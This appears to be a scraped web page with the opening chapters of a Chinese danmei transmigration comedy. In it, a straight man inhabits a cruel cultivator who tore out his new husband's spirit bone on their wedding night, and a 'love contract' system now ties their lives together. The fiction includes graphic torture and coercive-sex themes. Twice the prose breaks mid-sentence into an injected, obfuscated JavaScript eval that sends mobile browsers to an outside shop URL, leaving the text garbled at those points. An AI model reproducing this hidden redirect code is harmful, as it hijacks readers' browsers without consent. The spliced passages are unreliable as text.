《绝望直男穿书成古早文男主》 1. 新婚之夜 闻景年万万没想到竟然是这般血腥残暴的开局! 第一次穿书失败后,闻景年瘫坐在地上,两手抱着穿透胸膛的长剑,歇斯底里地咆哮道:“这奇葩剧情到底是哪个神人作者写出来的?!能不能来个人给我解释一下《道长哥哥你好娇啊!》这个书名到底是什么意思?他是一个男人,他是一个道士,他怎么能娇弱呢?!” 穿书不到半个小时,闻景年便头破血流地打道回府了。 砚府之中,高朋满座,张灯结彩。而他,本书中手握龙傲天挂逼剧本的男主,竟然在婚房中被小白脸炮灰一剑捅死了! 不只是一剑,他完全是被小炮灰捅成莲藕了! 闻景年睁开双眼,见眼前一片漆黑后,便知道自己又死了。他坐在伸手不见五指的一方天地之中,骂骂咧咧地将系统的祖宗十八代狠狠地孝敬了一遍。冷静之后,他进行了深刻地反思,认为自己出师不利惨遭暴毙的根本原因是他还不熟悉剧情就去送死了。 可是他穿书之前,根本就没有人给他介绍剧情啊! 千错万错都不算错,最错的地方在于,他是一个铁血直男,从来没有看过耽美文,他看书名是《道长哥哥你好娇啊!》,以为这是一本男频大男主后宫文,自己又是武力值TOP、修为TOP、颜值TOP的天之骄子,以为自己打遍天下无敌手,根本没想过自己竟然会被一个小傻白甜活活打死。 他轻敌了! 闻景年越想越气,恶龙咆哮道:“系统死透了吗!还活着就吱一声。” 系统:【吱——】 闻景年咬牙切齿地问道:“你告诉我这本书到底是神马辣鸡读物?你能告诉我,一个道士为什么会‘娇弱’吗?!一个娇弱的道士在修真界真的能活下去吗,这种人怎么能当男主呢,应该当妖鬼的食物才对啊!妈的,这种书狗都不看!” 系统:【听不懂。】 “... ...”闻景年笑不出来:“听不懂你当什么系统啊?转人工可以吗!顺便给我介绍一下前面发生了什么呗,我不想再被人捅啦,很痛的!” 系统:【好的。不好!由于宿主等级过低,无法解锁「前情回顾」,考虑到宿主实战水平较弱,特为宿主申请「人工讲解」!人工讲解匹配中... ...请宿主先阅读「剧情介绍」。】 闻景年读完原作剧情介绍后,如鲠在喉,芒刺在背,如坐针毡,后背越来越凉。他觉得自己可能又要完蛋了。 他万万没想到,原书主角闻执诗这个龙傲天,不好好修仙升级打怪,竟然把所有的力气和手段都用在折磨他师尊身上了! 闻执诗爱慕他的师尊微生言,爱得死心塌地,甚至到了疯魔的程度。作为一个天之骄子,闻执诗的修仙之路比腹泻还顺畅,他天资聪慧,根骨奇佳,年少成名,入门后直接成为了逍遥宗执剑掌门微生言的首席大弟子,可谓是天生我材必有用,得来全不费工夫! 可是,谁能想到他竟然没有把他的天赋用到正地方呢! 与之相反,他深爱的师尊微生言的修仙之路就没那么顺畅了。修为到达飞天境后,微生言离飞升只有一步之遥。然而,天不遂人意,微生言飞升渡劫时惨遭失败,被天雷所伤,伤到了仙骨,百年修为毁于一旦。 因为此事,闻执诗急火攻心,险些走火入魔!爱至极,闻执诗甚至有些疯魔了! 闻执诗为了给微生言的脱胎换骨,在修真界寻找天资聪慧,仙骨奇佳的少年。他在荣州城中,找到了年仅十七岁的砚倾酒。 为了得到砚倾酒的仙骨,闻执诗以身入局,欺骗他、利用他,一步一步夺走了他的心,并且以死威胁他与自己成亲,并在新婚之夜亲手剔除了他的仙骨。 失去仙骨后,闻执诗将砚倾酒带回逍遥宗,关在后山折磨致死了。听到这里,闻景年锐评道:“此人,堪比畜生!” 微生言得到了砚倾酒的仙骨后,虽然保住了部分修为,但不知为何身体变得越来越差。微生言不知道,闻执诗在砚倾酒的仙骨中动了手脚,这样微生言的修为不仅不会恢复到从前,而且身体会变得越来越差,越来越娇弱! 这样他就能将他的师尊关起来,占据他的身体,破了他的道心,让他永远留在自己的身边。 原作后半部分几乎全是对闻执诗如何轻薄、占有、践踏、蹂躏他师尊的描写。 就这么一连着写了三百多章! 直到他师尊虚弱到爬不起来,下不了床才结束。 而且,原主闻执诗与微生言做嗳的时候还有一个特殊的癖好,他不喜欢叫微生言“师尊”,而是喜欢叫他“道长哥哥”。 想必,这便是书名的由来了。 这本书写到微生言和闻执诗做做做做做做做之后就没再更新,没人知道那个不留名的作者死哪去了。几千条催更的评论砸在评论区,也没把辣鸡作者砸醒。 一众读者甚至在评论区唱起了“想你的夜——”,也没把辣鸡作者的魂招回来! 真是苦也啊悲也! 闻景年穿过去的时候,正是大婚当夜,闻执诗剔完砚倾酒的仙骨后半个时辰。婚房中,砚倾酒平静地躺在地上,双目无神,浑身是血。头破血流啊,他真真是惨到家了。 闻景年不知剧情,见他伤痕累累,脑门上全是血块,一副半死不活的一样子,以为是他新婚之夜丢了新娘子,一气之下拿酒瓶子自己砸的。毕竟在他的认知中,新婚之夜,应该没有人会为难新郎官吧。 当然,他又大错特错了!这他喵的根本就不是一个正常的世界,按照常人逻辑来说,一个男人会把一个人男人折磨致死,然后用那个男人的仙骨去救另一个男人吗? 真真是三个男人演了一出好戏! 闻景年盘腿坐在地上,苦大仇深地复盘的时候,系统突然鬼叫一声:【「人工客服」匹配完成!】 紧接着传来了沙哑的男声,还是战损版的正太音:【咳咳咳,能听见人说话吗?听见了吱一声!】 闻景年发出了人类几乎无法发出的声音:“吱——” 人工客服道:【现在伪人也能穿书了么,真有意思。喂,你绑定的哪个系统?我给你调一下任务介绍!】 好家伙!这年头系统还会使唤人了!人工客服催促道:“说话呀!你又不是哑巴?难道是我这比声优的嗓音还迷人的嗓音不好听吗?不可能吧?” 闻景年觉得事情开始变得诡异了,好像有一个活人钻到了他的脑子里,在冒充系统给他发任务,还嘲笑他是个伪人。 闻景年板着脸,冷不丁道:“你才是伪人,你全家都是伪人。” 人工客服嘲讽道:【没错。我全家都是伪人。看不惯我?那你来打我呀?穿书半小时就暴毙的小弱鸡,闭上嘴巴好好听着!】 闻景年忍无可忍,攥紧拳头朝着四方漆黑的空间一顿乱揍,他还没收回胳膊,便被人一脚踹了出去,直接踹到了婚房。 又来? 他又回来了?! 婚房之中,砚倾酒依旧背靠床榻倒在地上,小脸微红,嘴角还流着血。还是那一副凄惨又可怜的模样。 读完剧情介绍之后,闻景年发现事情好像没有自己想象得那么简单。砚倾酒这副样子,应该不知有被人揍了这一种可能,还有一种……一种无法言喻的可能! 当然也只是可能…… 闻景年心想,难怪砚倾酒刚才发了那么大的恨,若自己被一个男人按在床上一番凌辱还被迫抽取了仙骨,他岂止会杀了那个男人,定是要扒了他的皮,抽了他筋,将他碎尸万断啊! 想到此处,闻景年打了一个趔趄,心说不可能,他是绝对不可能和一个男人搞上的! 闻景年紧闭双眼,进行了一场酣畅淋漓的头脑风暴,刚回过神,便听见人工客服说道: 【解释一下。你跟砚倾酒绑定的是「恋爱契约」系统,即有爱双生,无爱双死。这个系统很牛逼的一点在于,就算是你们两个其中一个人已经死透了,但是只要另一个人爱你,你就能诈尸。不对,应该叫做你就能死而复生。神奇吧,前提是你的契约对象必须要爱你爱的死心塌地、爱到骨子里,不能掺杂一点杂质。这个道理反过来也成立,如果你全心全意地爱他,他也死不了。就怕你们爱的真不真,假不假,那就都去死!】 闻景年两腿一蹬,两眼一睁,心如死灰地说道:“我,也就是闻执诗,欺骗他利用他,先勾走他的心让他跟我成婚,然后在剜去他的仙骨把他折磨致死,从始至终我爱的都是另一个男人,现在我却跟他绑定了「恋爱契约」,你是在跟我开玩笑吗?想让我死,其实不用这么麻烦的。” 人工客服干笑两声,道:【想死很容易,想活就很难了。难到你不想活吗?】 “你是白痴吗!我能不想吗?!算了,天大地大,小命最大!哪有人会跟自己的命过不去啊。”闻景年一骨碌爬起来,整理了一下衣服,而后脸上挤出一个标准的假人微笑,胳膊腿绷直地站在砚倾酒面前,好似商场中挂着「特价处理」的橡胶假人。 橡胶假人至少是眼角带笑的,闻景年没有,他的眼角带泪——一把辛酸泪。 砚倾酒抬头睨了“橡胶假人”一眼,“橡胶假人”往后蹦了三步! 人机系统道:【滴——宿主等级提升为0.1级,解锁「前情回顾」!请宿主阅读原作剧情,若好感值提升到10,可以解锁「剧情预告」哟~】 真正的人机又回来了。 闻景年一头雾水地问了句:“我的等级为什么提升了?0.1又是什么玩意?” 人机系统道:【分析中... ...报告!刚才您绑定的「恋爱契约」的对象看了您一眼,所以您的等级提升了!由于他一直在看您,所以您的等级已经提升到0.9啦!恭喜宿主!】 闻景年差点吐血:“我晕。牛逼。” 【好哒!系统厉害是应该的啊。为您服务是系统的职责,多谢夸奖!以下内容为「前情回顾」,请看大屏幕呦~】 【闻执诗进入婚房的时候,两手空空,什么都没拿。今夜是他与砚倾酒的洞房花烛夜,他却连婚服都没有穿。 砚倾酒等了闻执诗很久。他知道闻执诗不喜欢大红色,所以特地穿了一身桃红色的婚服,他知道闻执诗喜欢生长在山谷中的苦楝花,所以命人将苦楝花袖在衣摆和袖口上,连心口处也绣了一朵。可桃红色的衣服上绣着白花本就眨眼,闻执诗又命人用银丝线勾了边,仿佛在提醒砚倾酒,我们不是一个世界的人。就像他们的关系,外人道他们情比金坚,爱得死去活来,可二人真的站在一起了,却貌合神离。 砚倾酒长了一双极其轻佻的桃花眼,总是眉眼带笑。十七岁那年他的父亲砚国侯有意给他定下一门好亲事,可对方是个英姿飒爽的女将军,性子也是直来直去颇为豪爽的,看不惯花儿似的男人,便拒绝了这门亲事。 旁人总是因为砚倾酒这张容貌姣好的脸,而忽略了他本是个文武双全的才子,唯有闻执诗懂他、欣赏他、爱惜他,将他视为了自己的知己。所以,在闻执诗主动提出要与砚倾酒成婚之时,砚倾酒不顾众人反对,宁可私奔也要与他成亲。 这是砚倾酒十七年来唯一的一次“叛逆”。 砚倾酒是国公爷家的小独苗,是含着金汤勺长大的小少爷,从小到大没吃过一点苦,他一撒娇,国公府上下上下便都把他当作宝贝去哄。起初国公爷是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349177|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同意的门亲事的,但砚倾酒执意要与闻执诗成亲,为此甚至离家出走。这天地下常有不顾父母的孩子,却鲜有不顾孩子的父母。砚倾酒一闹腾,国公爷终究还是心软了,同意了这门亲事。 今夜,砚倾酒终于等到了他心心念念的心上人,终于可以和闻执诗履行他承诺过的海誓山盟,他心中万般期待,也万般欢喜。 闻执诗来的时候没穿婚服,砚倾酒看着他那身深黑色的衣服,心中是有些许失落的。他心想,黑色也好,只要是他喜欢的,就都好。 闻执诗坐在他身边,牵起他的手,低声一笑,问道:“你等很久了吧。这一天,我也等了很久了。” 闻执诗的语气有些古怪,但是砚倾酒没有多想。砚倾酒心想:今夜是他们的洞房花烛夜,闻执诗还能突然变卦,反婚,而后抛下他不成? 闻执诗笑眯眯地盯着砚倾酒,说他想跟砚倾酒玩个游戏。他将砚倾酒的手腕脚腕捆起来,手腕拴在上面,脚腕拴在下面,让他面朝自己坐着,然后开始解他的腰带,边解边问:“你知道自己的身体里有仙骨么?你没想过要修仙吧。仙骨可是好东西呢。仙骨在你体内放着,你又用不到,实在是太暴殄天物了。” “我来帮你,让你的仙骨物尽其用。” 闻执诗把砚倾酒的腰带解下来,系在他的眼睛上,遮住了他的视线。而后,他褪去砚倾酒的上衣,用指尖抵着他的心口,涩声问道:“你的仙骨在哪儿了?是你自己给我,还是我亲自剜出来?” 砚倾酒一头雾水地问他:“执诗,你要仙骨做什么?今夜不是我们的洞房花烛夜吗?” 闻执诗的手指自砚倾酒的心口一路向后,滑到了他的后背,低声道:“我要你的仙骨自然是为了救人。” 砚倾酒问道:“救什么人?” 闻执诗冷笑道:“当然是去救一个我深爱的人。他受了重伤,修为尽失,我不忍看他百年修为毁于一旦,便想用你的仙骨,去换他的修为。” 砚倾酒的身体登时一颤,似是如雷轰顶,打了他一个措手不及。他张着嘴却发不出声音,几番挣扎过后,他终于问出了一句:“那我呢?” “你算我师尊的救命恩人哪,我会把你带回逍遥宗,好好报答你的。”闻执诗从袖中取出匕首,抵着砚倾酒的后背,轻声说:“可能会有点疼,你忍一忍,不要晕死过去。你要是晕了,取出来的仙骨就不好了,知道吗?” 取仙骨的办法有上百种,闻执诗可以用法术取出,可以直接用内力逼出,但他偏偏用了最直接也是最痛苦的一种——生剜。即用匕首隔断砚倾酒的脊骨,用真气将他体内的仙骨逼出。 这种痛,比抽筋拔骨、剜心刺骨还要痛! 砚倾酒的手脚都被捆着,使不上力,几乎是生生地挨着每一刀。他浑身剧烈的抽搐,痉挛,流血,到最后,他像一个瘫软的破布娃娃,气息奄奄,双目失焦。 他疼晕过去了。 闻执诗在他心口扎了一刀,强迫他清醒过来。闻执诗看着伤痕累累的砚倾酒,竟然生出了几分心疼,细声说道:“倾酒,你真可怜。今夜的红帐和花烛就都留给你了,等我救下师尊,再来带你回逍遥宗。别哭,男人哭的时候比女人更可怜,你哭了,我会舍不得你的。” 闻执诗用匕首割断他身上的绳索,转头就走了。 一场彻头彻尾的骗局,就此告一段落。往后等待着砚倾酒的,是无穷无尽的折磨……】 心灰意冷、万念俱灰的砚倾酒万万没想到,闻执诗再次踏入婚房的时候,竟然嬉皮笑脸地问了他一句:“兄弟,你没事吧?” 很快闻执诗便改了口,问他:“公子,你没事吧?没事的话就……” 当然,这个闻执诗已经变成了披着狼皮的羊——闻景年。 然后这只羊就被砚倾酒给宰了。 第二次回到这间屋子,披着闻执诗的皮的闻景年长脑子了。 「前情回顾」这段时间,他已经把屋子里所有带刀刃的东西全扔出去了,连碗呀茶壶呀瓷瓶呀这些易碎的器具都扔出去了。 闻景年一边扔,一边心道:“我好惨!天崩开局啊!比开局一个碗,吃喝全靠捡,再背负灭门惨案还要惨哪!” 他大概明白自己,也就是闻执诗到底是一个怎样的畜生了。 他大概也明白,砚倾酒也就是这个新郎官有多么恨自己了。 闻景年心想,要不我给他跪一个,给他磕三个响头叫他三声“爷爷”,再把后背亮给他把那什么什么神仙骨头还给他,他能对我冰释前嫌,跟我手拉手做朋友吗?! 简直是痴人说梦,更何况逼系统还一直在监视着他,告诉他禁止OOC,否则五雷轰顶。 轰吧轰吧,爷不活了!老天爷赏爷五道天雷劈死爷吧! 闻景年其实是有点怕砚倾酒的,毕竟他第一次穿过来的时候,砚倾酒直接给他一刀捅死了。于是乎,这次,闻景年警惕地靠过去,以妙手神偷的手速将婚床上的匕首抢走,然后背着手站在原地,等系统给他分配台词。 这时,砚倾酒突然看向他,问了句:“不是要带我去逍遥宗么?动手吧。” 咦??? 闻景年懵了!!! 什么情况?刚才砚倾酒没有这句台词的啊,他直接抡着匕首就向我砍来了啊! 人机系统突然道:【叮——!恭喜宿主!您的契约对象对您的心动值从-100恢复到+1了!!!】 闻景年更懵逼了,问道:“我做什么了吗?他这就心动了?什么情况?他心动什么了?莫非,他对我一见钟情了?!” “艹啊!不要啊。我搞不了的。我是直男啊!铁直的直男啊!” 2. 辣鸡剑修 一阵鸟语花香,艹天艹地什么也没艹着后,闻景年极其不平静地接受了自己彻底套上了「闻执诗」这个反派男主の皮套的事实。 从此活在这个世界上的,就只有一根害人害己的蚊香了。 原著中没有讲述闻执诗的身世,也没有写明他到底是怎么样的人,只有一些符号一般的人设,仿佛这个人被创造出来就是为了艹他师尊微生言的。为此,2.0版本的闻执诗很是苦恼,因为他平日根本不看小说,他就喜欢刷小视频,那些冷冰冰的人设他根本看不懂啊! 最重要的是,他根本不会艹人啊!这岂不是强人所难吗! 2.0版本的闻执诗歇斯底里,而系统选择装死,根本没有施以援手。 红烛还在烧,婚房之中,闻执诗的脸也烧起来了。他觉得很热,莫名其妙的热,热到他浑身长毛,想跳进长江清醒清醒。 砚倾酒被人剜了仙骨,气息微弱,浑身无力,此刻正坐在地上,背靠婚床,脸色惨白且面无表情地盯着自己。闻执诗觉得,砚倾酒正在用看垃圾的眼神看自己,倒也是原主罪有应得。 闻执诗被砚倾酒盯得发毛,心说这眼神不是看自己的,是看那个畜生的,莫慌莫慌。(实则慌得一批。 闻执诗心想,砚倾酒一直盯着自己看,自己的等级就会一直以老龟爬树的速度往上爬,其实也挺好的。想到这里,闻执诗心生一计:光是被砚倾酒盯着看等级就会上升的话,那么,碰砚倾酒一下会怎么样呢?等级会不会突然暴增?会不会火箭升天似的窜上去? 闻执诗搬出那句名言:实践才是检验真理的唯一标准!本是“实践出真理”的原则,闻执诗绷直腰板,脸上挂起“标准微笑”,再次化身商场里展示衣服的假人,三两步走到砚倾酒身边,轻轻地戳了一下砚倾酒的胳膊。 然后触电似的闪现了回去。有点勇气,但不多。 人机系统很快上岗,道:【恭喜宿主!您的等级提升为5级啦。您的契约对象对您的心动值提升为1.5啦!再次提醒宿主,好感值提升为10可以解锁「剧情预告」呦~】 “要到10才能解锁吗?还差8.5呢!前路漫漫啊!”吐槽完,闻执诗苦大仇深地问了句:“那提升等级有什么用啊?提升等级不能解锁「剧情预告」吗?” 人机系统解释道:【提升等级可以获得特殊福利哦。例如,等级提升为10,可以获得工具「心书」,限时三日!三日内,宿主可以听见任意一人的心声哦。宿主您的角色越丰满、走的剧情越多、与契约对象的关系越亲密,等级提升得就越快哦!当然啦,您提升契约对象对您的心动值,也可以获得相应的工具哦!】 【您的等级会随着剧情的展开慢慢提升哒!其实。提升契约对象对您的心动值,能更快获得工具哒!】 闻执诗听得头大,没有耐心地说道:“喂!能不能说点有用的?!人机不愧是人机,废话连篇!神马辣鸡工具,听砚倾酒的心声有什么用?找骂吗!等着系统办事,狗屎都吃不上热的。虽然我不吃!” 闻执诗心想:不过,既然碰一下等级就能大幅提升的话,那么抱一下呢?更甚,亲一下呢? 抱一下亲一下应该是可以的吧?毕竟他们是两个男人的,亲亲抱抱又不会出什么问题。本着“实践出真理”的原则,闻执诗又行动了。 闻执诗心想,屋子里就两个人,再尴尬也不会被别人看见。于是乎,他黄鼠狼似的蹑手蹑脚地往前走了两小步,蹲在砚倾酒的身边,张开双臂,闭着眼,将砚倾酒抱在了怀里。他好瘦,皮包着肉,像一个被骨架撑着的布娃娃。 系统不是说砚倾酒是娇生惯养的富家公子吗?他怎么瘦成这样了!莫非是被原本的闻执诗折磨的?那可真是造了大孽了。 闻执诗正思量着,他怀里的人突然冷不丁地发话了。砚倾酒有气无力地问道:“你在做什么?” “!”闻执诗的头皮登时硬成了活化石。他在心里求助于系统,问道:“系统系统,我该怎么接话?该怎么接才能不暴露不ooc?我不想再被捅刀子啦!” 人工客服看不下去了,道:【你是不是猪啊哥哥?懂不懂什么叫做强制爱?压他呀,撩他呀?实在不行,你就抬头望天,我给你弄点台词,你照着念好吧?】 经过「人工客服」的一番指导,闻执诗终于悟了。闻执诗战战兢兢地搂住砚倾酒的后背,用力将他抱到床上,压在身下,硬着头皮念台词,看到哪句念哪句,问道:“不喜欢我这么对你?那你喜欢哪样,告诉我,我可以试试。” 天知道一个男人对着另一个男人说这种话有多诡异…… 闻执诗狠狠地掐了一下自己的大腿,咬牙打了个趔趄,继续羞赧地攻略小炮灰。 他敏捷地在砚倾酒的额头上虚虚地亲了一下,“这样你喜欢吗?这个吻,你等了很久了吧。”说完,闻执诗诈尸般弹射站起,迅速逃离。 刚才亲到没有?! 闻执诗捂住脸,脑瓜子里传来一阵尖锐暴鸣:“好肉麻啊好肉麻!求一张没说过这几句话的嘴!刚才到底亲没亲到啊,就当作没亲到好了!不能再想下去了!要疯了!” 人机系统实时播报道:【恭喜宿主!您的等级提升为8级,好感值提升为10!真是质的飞跃呢!宿主再接再厉哦~】 质的飞跃?!亲一下就质的飞跃了?好像还没亲到呢。闻执诗纳闷地自言自语道:“靠!原来他喜欢这样的?” 闻执诗以为自己终于步入正轨了,但很快他又意识到了事情不对劲。心动值一开始是负的,而现在变成了正的,不是砚倾酒对自己产生了好感,而是因为自己的行为,让他对原本的闻执诗有了一丁点的回心转意,死灰复燃了! 造大孽了!总不能让砚倾酒真的爱上那个畜生吧! 眼下有两条路可以走。一是好好伪装让他继续爱原本的闻执诗,虽然,这很难,因为他早晚要去逍遥宗见到微生言的,到时候定是晴天霹雳,又是万念俱灰。 二便是让他爱上自己。这就更难了,因为在2.0版本的闻执诗的认知中,一般直男不会爱上gay,那么gay应该也会很难爱上直男吧。 两条路都行不通,一根筋变成两头堵了! 没等闻执诗把一根筋变成两头通,突然一阵妖风袭来,撞在木门上,将木门震了个粉碎。闻执诗向门外望去,十几个府中小厮竟被那阵妖风卷到了天上,都在鬼哭狼嚎地大喊着救命。 一把剑自北方飞来,冲破妖风,径直向闻执诗飞来,那架势像是要来砍他的。长剑通身雪白,如皎洁的月,一尘不染,剑穗如淡蓝色的清泉,闻执诗定睛一看,剑柄上刻着三个字“月照泉”。剑在他的身前停住了。 闻执诗盯着剑,心道:莫非这就是原主的佩剑“月照泉”?! 都说宝剑认主,如今的闻执诗的灵魂早已调了包,难道这把剑认不出来吗?闻执诗没往深想,因为他刚拔剑出鞘的时候,一团张牙舞爪的黑色妖气便向他袭来。 闻执诗笨拙地用「月照泉」向前迎击,却未料到那团黑色的妖气竟然穿过他的身体,向身后的砚倾酒飞去。 砚倾酒有伤在身,无力招架,整个人被妖气吞噬,连四肢都没露出来。闻执诗暗道一句“完了”,不顾三七二十一便提剑朝那团雾气砍去,这一砍,便将那团雾气砍出一道口子,砚倾酒趁机扒开雾气,露出了半颗脑袋,紧接着,那团雾气中,竟然齐刷刷地蹿出了十几个脑袋! 全都是活人的脑袋啊,无一不面目狰狞地瞪着闻执诗,恐惧、痛苦、挣扎全都挤在了那一双双充血通红的眼睛里,他们想逃,更想让闻执诗救他们。 闻执诗连忙呼叫系统:“喂喂喂!这是什么妖怪?我怎么没见过?!” 他当然没见过,他生活的世界本来就没有妖鬼之类的东西啊。他想着,自己好像没有拜过神佛,应该是一个无神论主义者吧。 人工客服懒兮兮地打了个哈欠,慢条斯理地解释道:【这是雾妖,是最低等的「妖灵」,尚未化成人形,以你的修为,一剑就劈散了,你怕什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349178|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?况且你手中的剑「月照泉」是逍遥宗三大宝剑之一,可斩神诛魔,寻常妖鬼碰之即散,连灰都剩不下,你怂什么?】 闻执诗看了眼剑,又看了眼雾妖,纳闷道:“诳人玩的吧?我刚才劈下去了,怎么它不仅没有消散,还吐出了一些人头呢!多嘴问一句,我,也就是闻执诗,很厉害吗?” 人工客服:【逍遥宗有十二杀神,你排第一。】 “逍遥宗有十二杀神?妈的。我排第一?那我刚才的表现岂不掉价?”闻执诗的士气倍增,目光从雾妖的黑团中一削而过,「月照泉」虽重,此刻在他手中却轻如鸿毛。“鸿毛”卯足力气像雾妖砍去,雾妖狮子大开口,竟想将「月照泉」吞噬,却不料闻执诗握着剑柄,在它口中挽了个剑花,将雾妖的肚皮斩开了个口子。 刹那间,雾妖的肚皮被他腹中的那些活人撕烂,黑气消散的很快,没用多长时间便消失殆尽。雾妖是没了,可婚房却要被这些不知道哪儿来的活人撑破肚皮了。几十个活人堆在地上,堆成了一个“活人坟”。 闻执诗三两步跳到“活人坟”旁边,在人群中一眼锁定砚倾酒,将两只手分别拖住他的腰和大腿,将他抱出了婚房。 院子里还有雾妖身上的妖臭味。 闻执诗没管脑海中正在报的心动值变化的人机系统,他见砚倾酒后背上的衣服被雾妖肚子里的那些人撕烂了,血淋淋的脊梁骨就这么留在外面,有些于心不忍。 他心想,毕竟砚倾酒是跟自己绑定了恋爱契约的人,砚倾酒要是死了,他也活不了。于是乎,他脱下外衣,用衣袖擦了擦砚倾酒背上的血,然后用自己的衣服把砚倾酒包了起来。 包得不是一般的丑,像一块巨型喜糖,看着就不甜,吃起来定是味同黄连。 闻执诗无意中瞄了一眼砚倾酒的脸,他惊觉砚倾酒望着自己时,眼睛竟然有些湿润了。 闻执诗盯着砚倾酒的眼睛看了一会,心说这人莫不是被他刚才那招“斩杀”给帅哭了? 不至于吧。 也就只有一点点帅而已。 闻执诗抓了抓后脑勺,突然觉得有点冷。砚倾酒穿着桃红色喜服,脸又长得白白净净的,还挺水灵,跟个水蜜桃似的。闻执诗问他:“小水蜜桃儿,你冷么?” 折腾了一晚上,砚倾酒已经没力气了,他闭上眼睛,有声没声地说了句:“死不了。” 嘴还挺硬。 闻执诗盯着砚倾酒的嘴看,心说现在要是趁砚倾酒不注意,亲他一口,自己的等级不得直接爆表! 虽然颜面尽失,但是赢得一切啊! 闻执诗刚找准角度,正要低下头,却听见“叮——”一声,系统又来催进度了。 人机系统道:【请宿主在天亮之前往下一个场所——逍遥宗!温馨提示,由于宿主等级到达10级,已将「心书」放至工具箱,宿主可以在任意时间使用!】 闻执诗道:“先留着吧。现在听砚倾酒的心声,我不是找骂吗?” 人机系统继续道:【一则重要提醒:由于宿主在刚才的实战中表现出的实力较弱,建议宿主回到逍遥宗后多多研究剑术和心法,避免不必要的角色ooc!全面禁止ooc的要求对宿主来说难度过高,无法实现,特地放宽为禁止角色日常行为ooc,战斗时可以放宽至‘活着就行’!】 闻执诗道:侮辱人也得有个限度吧?我有那么弱吗?我可是把砚倾酒救下来了,你们看不到吗! 人机客服出来调侃道:【原著中,闻执诗在雾妖出现的那一刻,就将其一剑斩杀了。你再看看你自己,我都懒得喷你!】 闻执诗根本不服,骂骂咧咧道:“好了,可以了,不要再说了!妈的。最烦挂逼龙傲天,数值怪就是这样,除了装逼一无是处!” 出发时,他突然意识到一个严重的问题。 到了逍遥宗,他岂不是就要跟那个娇弱的道长哥哥,也就是本文的美强惨男主角见面了?然后他们就要那个那个了?! 那砚倾酒怎办啊? 3. 他不理人 砚倾酒要完蛋了! 闻执诗隐约觉得,无论他现在如何“谄媚”,如何“勾引”,如何“强迫”,等到了逍遥宗,他辛辛苦苦积攒起来的心动值都会化为乌有,碎成渣渣。不止!甚至会变成负数! 出发去逍遥宗之前,闻执诗跟着砚倾酒,见到了他的父母双亲。 砚倾酒的父亲砚和九,人称“砚喝酒”,乃大周的开国功勋,战功赫赫,是受人景仰的国公爷。她的母亲是大周皇帝的亲妹妹,气质典雅,雍容华贵。岁月不败美人,纵使到了知命之年,仍然倾国倾城,美的惊世骇俗。 砚倾酒长得跟他娘亲就像是从一个模子里刻出来的一样,眉眼鼻子嘴都一般无二,妥妥的小美人胚子。这样姣好的容貌本是万里挑一,应当被人宝贝起来的,可他偏偏遇上了闻执诗这个王八羔子,只能说脸好,命不好。 国公府大门口停着一辆马车,马车里装满了金银珠宝和砚倾酒的日常用品,大兜小兜的装了满满一车,不知道还以为砚倾酒要出国留学呢。 砚和九长得颇有福气,他身着一袭暗紫绣蟒常服,腰间玉带微宽,衣着华贵,体态雍容。追引人注目的当属他那丰隆广阔的额头,还有那垂肩的双耳。 有句老话说得好,“双耳垂肩,富贵无边”。也难怪他能给砚倾酒准备一马车的金银财宝,他这种长相的,一看就是“财禄丰盈,宦海稳性”之相,巴结他的大官小官估计都能从砚府门口排到南城墙去,什么金子银子,什么山珍海味,在砚府就是石头粒子。 闻执诗心说还修什么仙哪!在砚府当“倒贴门女婿”,锦衣玉食一辈子,岂不快哉? 越想心里越美,闻执诗心花怒放地牵起了砚倾酒的手,爱惜地拍了拍这块宝贝疙瘩,心说这比摇钱树还摇钱树。 两位老人家见闻执诗和砚倾酒两贴在一块腻腻歪歪,竟然掉起了眼泪。砚老爷子老泪纵横道:“小酒,以后你到了仙门,一定要好好的。为父不指望你能得道成仙,但求你能一世安乐,无病无灾。既然你与闻道长两情相悦,为父便会一直祝福你们的。” 闻执诗搓了搓鸡皮疙瘩,心说这演技SSS+级别的! 皇帝他妹妹更是哭得梨花带雨,走上前握住砚倾酒的小手,泪眼婆娑道:“孩儿,娘没想过有一天你会离开娘,这些年您跟在娘身边没受过一点苦,到了仙门,修仙那么苦,你能受的住吗?娘最后再问你一次,你真的要去吗?” 闻执诗在一旁暗暗使劲,心说答应她吧,留下来,继续做一棵光芒万丈的摇钱树呗! 砚倾酒却道:“娘亲,孩儿心意已决。”言罢,他忍着疼,跪在地上,冲二人磕了三个响头,沉声道:“父亲、母亲你们的养育之恩,孩儿来世再报。” 闻执诗看着他脖颈处的伤,腹语道:“这话听着怎么有些要生离死别的意思?莫非砚倾酒这时候就意识到自己要死了?砚倾酒,其实你也很想留下来的,对吗?你真的蛮幸福的,幸福的让人有点羡慕。如果你不去逍遥宗,你会一直幸福下去的。” 砚倾酒痛楚彻骨,却没有落下一滴泪。 磕完头,这就算是道了别了。 临走时,砚倾酒回头望了一眼。砚和九和夫人站在石阶上看着他。砚和九冲砚倾酒挥了挥手,对他道:“小酒,去罢。无论你做什么,爹娘都会为支持你的!你永远是砚府的骄傲!走你要走的路,别回头。爹娘会一直做你喜欢吃的饭,煮好你爱喝的粥,一直一直在砚府等你的。” 闻执诗心说好有爱的一家人,快给我感动哭了。能不能看在我也掉眼泪了的份上,让我也吃一口好吃的,让我也喝一碗粥? [星星眼]×2 